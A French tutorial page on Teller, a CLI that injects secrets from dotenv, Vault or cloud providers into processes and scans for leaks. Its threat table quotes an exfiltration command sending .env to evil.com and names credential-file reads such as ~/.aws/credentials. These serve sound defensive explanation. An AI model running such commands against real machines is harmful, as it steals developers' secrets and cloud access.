Aller au contenu
Sécurité medium

Teller : injecter vos secrets sans les exposer sur le poste

28 min de lecture

logo teller

Vos secrets de développement traînent dans des fichiers .env en clair, des export dans .zshrc ou des variables d’environnement persistantes — autant de cibles faciles pour un malware ou un script malveillant. Teller résout ce problème : il injecte les secrets directement dans vos processus depuis n’importe quelle source (dotenv, HashiCorp Vault, AWS Secrets Manager, etc.) sans jamais les exposer dans le shell ni les écrire en clair sur le disque.

Ce guide vous accompagne pas à pas : installation, configuration d’un premier provider, injection dans un processus, scan de fuites et intégration CI/CD. Chaque commande est testable immédiatement. Il s’adresse aux développeurs et aux équipes DevSecOps qui veulent éliminer les fichiers .env en clair de leur workflow.

  • Ce qu’est Teller et pourquoi éliminer les fichiers .env en clair
  • Comment configurer votre premier provider (dotenv) de A à Z
  • Comment injecter les secrets dans un processus avec teller run
  • Comment vérifier les secrets chargés avec teller show
  • Comment scanner votre code pour détecter les fuites avec teller scan
  • Comment masquer (redact) les secrets dans les logs
  • Comment exporter et templater vos secrets
  • L’intégration CI/CD avec le mode --error-if-found

Teller est une CLI cross-platform (Linux, macOS, Windows) développé en Rust par la communauté open source. Il centralise l’accès aux secrets depuis plusieurs providers simultanément et les injecte dans les processus enfants sous forme de variables d’environnement — sans jamais les écrire dans un fichier en clair ni les exposer dans l’historique shell.

L’analogie est simple : Teller est un proxy de secrets. Au lieu de stocker vos credentials dans des fichiers .env que n’importe quel processus peut lire, vous décrivez dans un fichier .teller.yml sont vos secrets et Teller les récupère à la volée au moment où votre application en a besoin.

AspectDétail
ObjectifInjecter les secrets dans les processus sans les exposer sur le poste
ApprocheRécupération à la volée depuis les providers, injection en variables d’environnement
Providersdotenv, HashiCorp Vault, HashiCorp Consul, AWS Secrets Manager, AWS SSM, GCP Secret Manager, etcd
Fonctionsrun, show, scan, redact, template, export, sh, put, delete, copy
Sortie scanTexte ou JSON, code de sortie 1 si fuites détectées
LicenceApache-2.0
LangageRust (v2.x) — anciennement Go (v1.x)

Les fichiers .env en clair et les export dans les dotfiles sont les premières cibles des attaques supply chain sur les postes développeurs. Un poste compromis donne accès à :

  • La production — credentials cloud, tokens d’API, clés de chiffrement
  • Le code source — tokens GitHub/GitLab pour cloner ou pusher du code malveillant
  • La supply chain — tokens npm/PyPI pour publier des packages compromis

Voici les vecteurs d’exposition les plus courants et comment ils sont exploités concrètement :

VecteurComment l’attaquant l’exploiteImpact
Fichier .env en clairUn script postinstall d’un package npm compromis lit tous les fichiers .env du disque et les envoie à un serveur distant (curl -s https://evil.com/collect -d @.env). C’est exactement ce qui s’est passé avec les packages event-stream et ua-parser-js.Exfiltration silencieuse de tous vos secrets en une commande
export dans .zshrcUn malware ou une extension VS Code compromise lit ~/.zshrc, ~/.bashrc et ~/.bash_profile pour extraire les export contenant des tokens. Les variables exportées sont aussi héritées par tous les processus enfants, y compris les scripts que vous exécutez sans les avoir audités.Tokens accessibles à tout processus lancé depuis votre shell
Variable persistanteUn processus malveillant appelle env ou lit /proc/self/environ pour lister toutes les variables d’environnement du système. Les variables définies globalement (dans /etc/environment ou les profils système) restent même après déconnexion.Persistance des secrets au-delà de la session
Historique shellUn attaquant avec un accès au fichier ~/.zsh_history ou ~/.bash_history y trouve les commandes contenant des tokens (curl -H "Authorization: Bearer sk-...", docker login -p ...). Ces fichiers sont rarement chiffrés et souvent sauvegardés dans les backups.Récupération de tokens même longtemps après leur utilisation
Credentials cloudLe fichier ~/.aws/credentials (ou ~/.config/gcloud/) contient les clés d’accès en clair. Un seul cat ~/.aws/credentials suffit pour obtenir un accès complet au compte AWS — création de machines, accès aux données S3, etc.Accès complet à l’infrastructure cloud

Ce que Teller protège (et ce qu’il ne protège pas)

Section intitulée « Ce que Teller protège (et ce qu’il ne protège pas) »

Avec un provider distant (Vault, AWS Secrets Manager, GCP Secret Manager), Teller élimine ces vecteurs : les secrets ne transitent que dans la mémoire du processus, jamais sur le disque ni dans le shell. Aucun fichier lisible, aucun export, aucun historique.

ScénarioProvider dotenvProvider Vault/AWS/GCP
Package npm malveillant lit .envVulnérable — le fichier est sur le disqueProtégé — pas de fichier à lire
Malware lit ~/.zshrc cherchant des exportProtégé — pas d’export dans le shellProtégé — pas d’export dans le shell
Backup du home contient des secretsVulnérable.env dans le backupProtégé — rien à sauvegarder
env dans un processus enfantVisible — pendant l’exécution via teller runVisible — pendant l’exécution via teller run
Accès physique au disqueVulnérable.env lisibleProtégé — pas de fichier secret
  • Un système Linux ou macOS (Windows supporté mais non couvert ici)
  • Rust et Cargo installés (pour compiler Teller v2) — ou accès aux releases GitHub
  • protobuf-compiler (protoc) — nécessaire à la compilation
  • Optionnel : jq pour formater la sortie JSON
  1. Installez les dépendances de compilation

    Teller v2 utilise gRPC (via tonic/prost) qui nécessite le compilateur Protocol Buffers :

    Fenêtre de terminal
    # Ubuntu / Debian
    sudo apt install -y protobuf-compiler
    # macOS
    brew install protobuf

    Vérification :

    Fenêtre de terminal
    protoc --version

    Vous devez voir une version (ex. libprotoc 3.21.12). Si la commande n’est pas trouvée, l’installation de Teller échouera.

  2. Installez Teller via Cargo

    Fenêtre de terminal
    cargo install teller --locked

    La compilation prend 2-5 minutes selon votre machine. Cargo télécharge les dépendances, compile le projet et installe le binaire dans ~/.cargo/bin/.

  3. Vérifiez l’installation

    Fenêtre de terminal
    teller --version

    Résultat attendu :

    teller 2.0.7

    Si vous obtenez command not found, ajoutez ~/.cargo/bin à votre PATH :

    Fenêtre de terminal
    export PATH="$HOME/.cargo/bin:$PATH"

C’est ici que tout commence. Nous allons créer un projet de test, configurer Teller avec le provider dotenv (le plus simple pour démarrer), et vérifier que l’injection fonctionne.

  1. Créez un répertoire de projet

    Fenêtre de terminal
    mkdir ~/teller-lab && cd ~/teller-lab

    Teller cherche le fichier .teller.yml dans le répertoire courant (comme Docker avec docker-compose.yml). Chaque projet a sa propre configuration.

  2. Créez un fichier .env avec des secrets de test

    Pour ce premier essai, nous utilisons le provider dotenv qui lit un fichier .env classique. Créez-le avec des valeurs fictives :

    Fenêtre de terminal
    cat > .env << 'EOF'
    API_KEY=sk-test-1234567890abcdef
    DB_HOST=localhost
    DB_PASSWORD=s3cret-Pass
    DB_PORT=5432
    APP_ENV=development
    EOF

    Ce fichier .env simule les secrets que votre application utilise habituellement. En production, ces valeurs viendraient d’un vault (HashiCorp Vault, AWS Secrets Manager, etc.) — mais pour apprendre, le fichier .env est parfait.

  3. Créez le fichier .teller.yml

    C’est le fichier de configuration central de Teller. Il décrit trouver vos secrets :

    .teller.yml
    project: teller-lab
    providers:
    my_dotenv:
    kind: dotenv
    maps:
    - id: secrets
    path: .env

    Décomposons chaque ligne :

    LigneSignification
    project: teller-labNom du projet (libre, pour identifier le contexte)
    providers:Liste des sources de secrets
    my_dotenv:Nom que vous donnez à ce provider (libre, utilisé dans les logs et les commandes put/delete)
    kind: dotenvType de provider — ici un fichier .env classique
    maps:Liste des “maps” (ensembles de clés-valeurs) de ce provider
    - id: secretsIdentifiant de cette map (utilisé comme --map-id dans les commandes)
    path: .envChemin vers le fichier .env (relatif au répertoire courant)
  4. Vérifiez que Teller lit vos secrets

    Fenêtre de terminal
    teller show

    Résultat attendu :

    [my_dotenv (dotenv)]: API_KEY = sk***
    [my_dotenv (dotenv)]: APP_ENV = de***
    [my_dotenv (dotenv)]: DB_HOST = lo***
    [my_dotenv (dotenv)]: DB_PASSWORD = s3***
    [my_dotenv (dotenv)]: DB_PORT = 54***

    Teller affiche les clés avec les valeurs masquées (seuls les 2 premiers caractères sont visibles). C’est le premier signe que tout fonctionne : Teller a lu votre .env et connaît vos 5 secrets.

    Si vous obtenez une erreur : vérifiez que le fichier .teller.yml est bien dans le répertoire courant et que le chemin path: .env pointe vers un fichier existant.

  5. Injectez les secrets dans un processus

    C’est la commande centrale de Teller. Au lieu de faire export API_KEY=... manuellement, Teller injecte toutes les variables d’environnement dans le processus enfant :

    Fenêtre de terminal
    teller run -- /usr/bin/env | grep -E "API_KEY|DB_|APP_ENV"

    Résultat attendu :

    API_KEY=sk-test-1234567890abcdef
    APP_ENV=development
    DB_HOST=localhost
    DB_PASSWORD=s3cret-Pass
    DB_PORT=5432

    Cette fois, les valeurs sont en clair — mais elles ne sont visibles que par le processus enfant (env dans cet exemple). Elles n’apparaissent pas dans votre shell, votre historique, ni dans aucun fichier. Dès que le processus se termine, les variables disparaissent.

Maintenant que les bases fonctionnent, voyons comment injecter les secrets dans une vraie application. Créez un script qui simule une application lisant ses variables d’environnement :

app.sh
#!/bin/bash
echo "=== Configuration de l'application ==="
echo "Connexion à la base de données : $DB_HOST:$DB_PORT"
echo "Environnement : $APP_ENV"
echo "Clé API présente : $([ -n "$API_KEY" ] && echo 'oui' || echo 'non')"

Rendez-le exécutable et lancez-le via Teller :

Fenêtre de terminal
chmod +x app.sh
teller run -- ./app.sh

Résultat attendu :

=== Configuration de l'application ===
Connexion à la base de données : localhost:5432
Environnement : development
Clé API présente : oui

Sans Teller, le même script recevrait des variables vides. Comparez avec l’exécution directe :

Fenêtre de terminal
./app.sh
=== Configuration de l'application ===
Connexion à la base de données : :
Environnement :
Clé API présente : non

La différence est claire : aucun secret n’est exposé dans le shell — ils n’existent que dans le processus enfant lancé par teller run.

Teller peut aussi scanner votre répertoire pour détecter les fichiers qui contiennent des valeurs de secrets en clair. C’est utile pour vérifier qu’un secret n’a pas fuité dans un fichier de logs, un README ou un fichier de test.

  1. Créez un fichier avec un secret qui a fuité

    Pour le test, simulez une fuite dans un fichier texte :

    Fenêtre de terminal
    cat > leaked.txt << 'EOF'
    Voici la config : host=localhost password=s3cret-Pass
    La clé API est sk-test-1234567890abcdef
    EOF
  2. Lancez le scan

    Fenêtre de terminal
    teller scan

    Résultat attendu :

    scanning for 5 item(s) in .
    1:9 ./.env sk*** dotenv .env
    2:16 ./leaked.txt sk*** dotenv .env
    1:24 ./leaked.txt lo*** dotenv .env
    1:43 ./leaked.txt s3*** dotenv .env
    2:9 ./.env lo*** dotenv .env
    found 8 result(s)

    Teller a trouvé des valeurs de secrets en dehors du fichier .env — dans leaked.txt. Chaque ligne indique :

    ColonneSignification
    2:16Ligne 2, caractère 16 dans le fichier
    ./leaked.txtFichier contenant la fuite
    sk***Valeur masquée du secret détecté
    dotenvType du provider source
    .envFichier d’origine du secret
  3. Mode CI : échouer si des fuites sont détectées

    Ajoutez --error-if-found pour que Teller retourne un code de sortie 1 en cas de fuite :

    Fenêtre de terminal
    teller scan --error-if-found
    echo "Code de sortie : $?"
    Code de sortie : 1

    C’est le flag à utiliser dans vos pipelines CI/CD pour bloquer un merge si un secret a fuité dans le code.

  4. Format JSON pour l’intégration outillée

    Pour traiter les résultats du scan automatiquement (dashboard, alertes), utilisez le format JSON :

    Fenêtre de terminal
    teller scan --json 2>/dev/null | jq '.[0]'
    {
    "path": "./leaked.txt",
    "position": [2, 16],
    "offset": 15,
    "query": {
    "value": "sk-test-1234567890abcdef",
    "key": "API_KEY",
    "from_key": "API_KEY",
    "path": {
    "id": "secrets",
    "path": ".env"
    },
    "provider": {
    "kind": "dotenv",
    "name": "my_dotenv"
    }
    }
    }
  5. Nettoyez le fichier de test

    Fenêtre de terminal
    rm leaked.txt

La commande teller redact lit un flux (stdin ou fichier) et remplace toutes les valeurs de secrets par [REDACTED]. C’est utile pour filtrer les logs avant de les envoyer dans un système centralisé.

Fenêtre de terminal
echo 'Connexion avec la clé sk-test-1234567890abcdef réussie' | teller redact

Résultat :

Connexion avec la clé [REDACTED] réussie

Teller compare chaque mot du flux avec les valeurs connues de vos secrets et masque les correspondances. Vous pouvez aussi redacter un fichier complet :

Fenêtre de terminal
teller redact -i app.log -o app-safe.log

Teller peut exporter tous les secrets dans quatre formats différents. C’est utile pour alimenter un outil tiers ou vérifier rapidement les valeurs.

Fenêtre de terminal
# JSON
teller export json
# Variables d'environnement
teller export env
# YAML
teller export yaml
# CSV
teller export csv

Exemple de sortie JSON :

{
"API_KEY": "sk-test-1234567890abcdef",
"APP_ENV": "development",
"DB_HOST": "localhost",
"DB_PASSWORD": "s3cret-Pass",
"DB_PORT": "5432"
}

Exemple de sortie env :

API_KEY=sk-test-1234567890abcdef
APP_ENV=development
DB_HOST=localhost
DB_PASSWORD=s3cret-Pass
DB_PORT=5432

La commande teller sh génère un script shell avec les export nécessaires. C’est l’équivalent d’un export manuel, mais généré automatiquement à partir de la configuration :

Fenêtre de terminal
teller sh

Résultat :

#!/bin/sh
export API_KEY='sk-test-1234567890abcdef'
export APP_ENV='development'
export DB_HOST='localhost'
export DB_PASSWORD='s3cret-Pass'
export DB_PORT='5432'

Vous pouvez sourcer cette sortie dans votre shell si nécessaire :

Fenêtre de terminal
eval "$(teller sh)"

Générer des fichiers de configuration (template)

Section intitulée « Générer des fichiers de configuration (template) »

Teller peut rendre un template Tera en remplaçant les références aux secrets par leurs valeurs réelles. C’est utile pour générer des fichiers de configuration (YAML, TOML, INI…) sans stocker les secrets en clair dans le template.

  1. Créez un template

    La syntaxe utilise la fonction key(name='NOM_DE_CLE') — c’est une fonction Tera, pas une simple variable :

    config.tmpl
    # Configuration application
    database:
    host: {{ key(name='DB_HOST') }}
    port: {{ key(name='DB_PORT') }}
    password: {{ key(name='DB_PASSWORD') }}
    api:
    key: {{ key(name='API_KEY') }}
    environment: {{ key(name='APP_ENV') }}
  2. Rendez le template

    Fenêtre de terminal
    teller template -i config.tmpl

    Résultat :

    # Configuration application
    database:
    host: localhost
    port: 5432
    password: s3cret-Pass
    api:
    key: sk-test-1234567890abcdef
    environment: development
  3. Écrivez le résultat dans un fichier

    Fenêtre de terminal
    teller template -i config.tmpl -o config.yml

    Le fichier config.yml contient les valeurs réelles. Ajoutez-le à votre .gitignore pour éviter un commit accidentel.

Teller permet d’écrire et supprimer des secrets dans les providers qui le supportent. Le provider dotenv supporte ces deux opérations.

La commande teller put prend trois informations : le map-id, le provider cible et la paire clé=valeur :

Fenêtre de terminal
teller put -m secrets --providers my_dotenv 'NEW_SECRET=super-value'

Vérifiez que le secret a été ajouté :

Fenêtre de terminal
teller show
[my_dotenv (dotenv)]: API_KEY = sk***
[my_dotenv (dotenv)]: APP_ENV = de***
[my_dotenv (dotenv)]: DB_HOST = lo***
[my_dotenv (dotenv)]: DB_PASSWORD = s3***
[my_dotenv (dotenv)]: DB_PORT = 54***
[my_dotenv (dotenv)]: NEW_SECRET = su***

Les arguments sont :

ArgumentSignification
-m secretsLe id de la map défini dans .teller.yml
--providers my_dotenvLe nom du provider cible (celui à gauche de kind: dans la config)
'NEW_SECRET=super-value'La paire clé=valeur à écrire
Fenêtre de terminal
teller delete -m secrets --providers my_dotenv NEW_SECRET

Vérifiez la suppression avec teller show — le secret NEW_SECRET a disparu de la liste.

La puissance de Teller vient de sa capacité à agréger des secrets depuis plusieurs providers simultanément. Voici un exemple avec dotenv pour le développement local et HashiCorp Vault pour la production :

.teller.yml
project: mon-app
providers:
local_env:
kind: dotenv
maps:
- id: app-secrets
path: .env
vault_prod:
kind: hashicorp_vault
maps:
- id: app-secrets
path: secret/data/mon-app/prod

Avec cette configuration, teller show affiche les secrets des deux providers. Si une même clé existe dans plusieurs providers, le premier provider dans la liste a priorité.

Vous pouvez renommer les clés pour harmoniser les noms entre environnements :

.teller.yml
project: mon-app
providers:
aws_secrets:
kind: aws_secretsmanager
maps:
- id: prod-secrets
path: prod/mon-app
remap:
from: DATABASE_URL
to: DB_CONNECTION_STRING

Utiliser des variables d’environnement dans la configuration

Section intitulée « Utiliser des variables d’environnement dans la configuration »

Les chemins et options du .teller.yml peuvent référencer des variables d’environnement avec la syntaxe ${VAR} :

.teller.yml
project: mon-app
providers:
vault:
kind: hashicorp_vault
maps:
- id: app-secrets
path: secret/data/${APP_NAME}/${ENVIRONMENT}

Teller v2 supporte les providers suivants :

ProviderkindUsage
Fichier dotenvdotenvDéveloppement local, fichier .env
HashiCorp Vaulthashicorp_vaultSecret manager centralisé
HashiCorp Consulhashicorp_consulKey-value store distribué
AWS Secrets Manageraws_secretsmanagerSecrets cloud AWS
AWS SSM Parameter StoressmParamètres AWS
GCP Secret Managergoogle_secretmanagerSecrets cloud GCP
etcdetcdKey-value store distribué
In-memoryinmemTests internes uniquement (store vide par défaut)
CommandeDescriptionAffiche en clair ?
teller showAffiche les secrets masqués (2 premiers caractères)Non
teller run -- <cmd>Lance un processus avec les secrets injectésOui (dans le processus)
teller scanScanne le répertoire pour détecter les fuitesNon
teller scan --error-if-foundIdem + code de sortie 1 si fuitesNon
teller scan --jsonRésultats du scan en JSONNon
teller redactRemplace les secrets par [REDACTED] dans un fluxNon
teller export <format>Exporte en json, env, yaml ou csvOui
teller shGénère un script shell d’exportOui
teller template -i <file>Rend un template Tera avec les secretsOui
teller put -m <id> --providers <name> 'K=V'Ajoute un secret dans un providerNon
teller delete -m <id> --providers <name> KEYSupprime un secret d’un providerNon
teller --versionAffiche la version
teller -c <path>Utilise un fichier de config alternatif
.gitlab-ci.yml
scan-secrets:
stage: test
image: registry.company.com/security/teller:2.0.7
script:
- teller scan --error-if-found
allow_failure: false
.github/workflows/scan-secrets.yml
name: Scan secrets
on: [push, pull_request]
permissions: {}
jobs:
scan:
runs-on: ubuntu-latest
permissions:
contents: read
container:
image: registry.company.com/security/teller:2.0.7
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- name: Scan for leaked secrets
run: teller scan --error-if-found

Vous pouvez utiliser Teller comme hook pre-commit pour empêcher les commits contenant des secrets :

.git/hooks/pre-commit
#!/bin/bash
if command -v teller &> /dev/null && [ -f .teller.yml ]; then
teller scan --error-if-found
if [ $? -ne 0 ]; then
echo "Des secrets ont été détectés. Commit bloqué."
exit 1
fi
fi
SymptômeCause probableSolution
command not found: tellerTeller non installé ou ~/.cargo/bin pas dans le PATHexport PATH="$HOME/.cargo/bin:$PATH"
Error: could not find .teller.ymlPas de config dans le répertoire courantCréez .teller.yml ou utilisez -c chemin/config.yml
Error: NOT FOUND <key>: not foundLe provider ne contient pas cette cléVérifiez les données du provider (le provider inmem est vide par défaut)
libssl.so.1.1: cannot openBinary pré-compilé + Ubuntu 24.04Compilez avec cargo install teller --locked
protoc: not foundprotobuf-compiler manquantsudo apt install protobuf-compiler
teller run ne lance rienCommande sans chemin completUtilisez le chemin absolu : teller run -- /usr/bin/python3 app.py
Template Variable not foundMauvaise syntaxe TeraUtilisez {{ key(name='CLE') }} et non {{ CLE }}
teller scan liste le .env lui-mêmeComportement normalLe scan cherche les fuites partout, y compris dans la source
  • Teller est un proxy de secrets : il injecte les variables d’environnement dans vos processus sans jamais les écrire en clair sur le disque ni les exposer dans le shell
  • La configuration se fait dans un fichier .teller.yml avec des providers (dotenv, Vault, AWS, GCP, etc.)
  • teller run est la commande centrale : elle lance un processus avec les secrets injectés en variables d’environnement
  • teller show affiche les secrets masqués pour vérifier que la configuration fonctionne
  • teller scan --error-if-found détecte les fuites de secrets — à intégrer dans vos pipelines CI
  • teller redact filtre un flux pour masquer les secrets — utile pour protéger les logs
  • teller template utilise la syntaxe Tera {{ key(name='CLE') }}, pas {{ CLE }}
  • Commencez toujours par le provider dotenv pour apprendre, puis migrez vers un vault en production
  • Les binaires pré-compilés ne fonctionnent pas sur Ubuntu 24.04 — compilez avec cargo install teller --locked

Ce site vous est utile ?

Sachez que moins de 1% des lecteurs soutiennent ce site.

Je maintiens +700 guides gratuits, sans pub ni tracing. Aujourd'hui, ce site ne couvre même pas mes frais d'hébergement, d'électricité, de matériel, de logiciels, mais surtout de cafés.

Un soutien régulier, même symbolique, m'aide à garder ces ressources gratuites et à continuer de produire des guides de qualité. Merci pour votre appui.

Abonnez-vous et suivez mon actualité DevSecOps sur LinkedIn